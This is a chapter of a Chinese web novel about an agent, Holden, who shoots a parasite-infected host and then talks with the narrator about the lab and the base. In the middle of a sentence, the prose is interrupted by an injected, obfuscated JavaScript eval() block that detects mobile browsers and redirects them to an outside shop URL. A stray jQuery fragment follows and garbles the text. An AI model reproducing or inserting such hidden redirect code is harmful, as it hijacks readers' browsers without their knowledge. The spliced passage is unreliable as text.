为了防止变异体逃脱,霍尔顿并没有直接把污染体杀死,而是朝着对方的手脚开枪。
黑影软塌塌地晃了晃,竟然掏出一把刀,准备朝自己的胸膛刺进去。
大概是预测到了这具身体的大限将至,变异体准备挑选新的宿主。
霍尔顿立即射穿了他的手腕,剧烈的冲击下,黑影从楼上直直摔了下来。霍尔顿一脚揣动旁边的旧沙发,垫在他身下,避免他被摔死。
“在这儿待着,等我回来。”
霍尔顿合上手铐,扛起已经被摔晕的污染体,朝门口走去。
我连忙跟了上去。
“?”
霍尔顿用眼神给了我一个问号。
我指指地上七零八落的残肢,表示自己实在没有继续待在这里的勇气。
霍尔顿没办法,只好让我上车。他一边打火,一边把手机扔给了我。
“报警。”
“嗯?”
“就说这里出现了变异体,警察会派人来处理的。”
我点点头,擦了擦手上的雨水,开始拨号。
越野车亮起远光灯,很快消失在雨夜里。
开了大概有两三公里,霍尔顿一个急刹停了下来。他换了个弹夹,下去打开后备箱,对准里面的人,砰地一声扣下扳机。
在这无人的旷野,变异体失去寄生对象,只能萎缩着等待死亡。
我一直很好奇它们是通过什么途径传播的,但这一点似乎连实验室的科学家都没有定论。
声音?视觉?触感?还是某种无法观测的物质?
“他死了吗?”我问。
霍尔顿一边系安全带,一边点点头。
“为什么不带他回实验室?何塞不是说过现在的技术已经可以控制污染了吗?”
“何塞?你是说默克林斯校长?”
“校长?”
“何塞·默克林斯,是整个基地的负责人,也是圣休斯顿大学的校长。”
“就是他,他告诉我的。”
“你还真是天真啊。”
霍尔顿仿佛听到了什么笑话,他可怜似的拍拍我的头。
“没有足够多的钱,也没有什么特殊的研究价值,像这样普通到不能再普通的污染体,是不值得这种投入的,即便我带他回去,实验室也只会把他随便处理掉。”
“什么?”我不可置信地看着他说出这样风轻云淡的话。
“你看看他的衣着就知道了,这个人的经济条件是不可能支撑他进行治疗的。”
霍尔顿垂下眼睫,又猛踩了一脚油门。
“而且,迄今为止,没有一例污染体是能够完全治愈的,能基本维持清醒状态的也只是极少数,而那些人都非富即贵,是基地重要的经费来源。”
我沉默了。
我们很快又回到旅馆,警察已经到了,正在处理现场的遗体。霍尔顿走上前和为首的警官说了些什么,他们似乎很敬佩他。
这家汽车旅馆很小,是自住房改造的,只有几个房间,隔音也不好。睡眠再怎样沉的人,听到刚才几声枪响,都会被惊醒。
但是房间里没有一个人出来,大概已经全部遇害了。
刚才的场景还历历在目,我想今夜是不可能睡得着了。
“你还好吗?”见我一个人蹲在门口,霍尔顿给我递了一个果酱面包,“找那边的警官要的。”
“谢谢,我不想吃。”我很饿,但是吃不下。
霍尔顿蹲到我旁边,自己撕开面包吃了起来,甜腻的果酱香气钻入鼻尖,我更想吐了。
“上楼去休息一会儿吧,天快亮了。”霍尔顿站起来。
我摇头,没有人会想回到这间恐怖的旅馆。
“真难伺候。”霍尔顿弯腰拽住我的手臂,把我整个人拖了起来。
“干什么!”
“怕什么?我不是说了我在吗?你这胆子怎么比心眼还小啊?”
霍尔顿拖着我上了二楼,工作中的警察们纷纷对我侧目。
这个总是我行我素的自大狂,真够烦人。
楼下的警官见我们浑身湿漉漉的,很快就送来了两套干衣服,顺便告诉我们又发现了两位幸存者。
总算有了好消息。
我懒得重新洗澡,不管不顾地躺倒在了床上。霍尔顿似乎还有事,在台灯下不停写着什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665173|144101||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“霍尔顿。”
“嗯?”
“你不要留我一个人。”
霍尔顿似乎笑了一下,不是那种很讨嫌的笑,是像正常人一样的笑。
伴随着窗外淅淅沥沥的雨声和沙沙的写字声,这一觉睡得比我想象中安稳。
我醒来的时候,雨停了,现场也已经被清理好了,天色灰蒙,我和霍尔顿收拾好行李,重新上路。
呼吸着清晨的新鲜空气,我仍然忍不住反刍昨晚的一切。心里很沉重,于是一路都没有讲话。
“马上要到基地了,”霍尔顿先开口,“你自由的时间结束了。”
“我已经失去自由很久了。”
“你就不想抓紧时间再打听点什么吗?”
“那个污染者,原本是什么人?”
“没想到你会问这个,”霍尔顿抬了抬眼皮,“是一个退伍军人,他以前应该参加过不少战争,警察从他的背包里翻出来几个勋章。这些从战场退役的老兵,往往很容易受到变异体的影响,每一年都有很多。”
“你以后也会吗?”
“我都敢这样站在你旁边了,还有什么变异体能污染我?”
他这是在开玩笑吗?真不敢相信,霍尔顿长官居然在开玩笑。
“你为什么用这种眼神看着我?”霍尔顿歪着头,“我说真的,要是我真被污染了,我一定带着A13号同归于尽。”
他说话一如既往地轻佻,看起来却不太像在开玩笑。
“你到底为什么这么恨A13号?”我忍不住问。
好一会儿,霍尔顿的声音才再次响起,“它害死了我的家人。”
他的语气平淡,脸色平静,只有深蓝色的眼睛藏不住哀伤。
乌云散开,前方一片金光洒下,照亮了霍尔顿的侧脸。
身体感受到温度,太阳彻底升起来了。
多亏了霍尔顿的坦诚,我想我也不应该继续隐瞒。
“是我的错。”
“什么?”霍尔顿不解地瞥了我一眼。
“我是说,昨晚的事情,可能是我的缘故。”我停顿了一下,“因为我是灾厄之人。”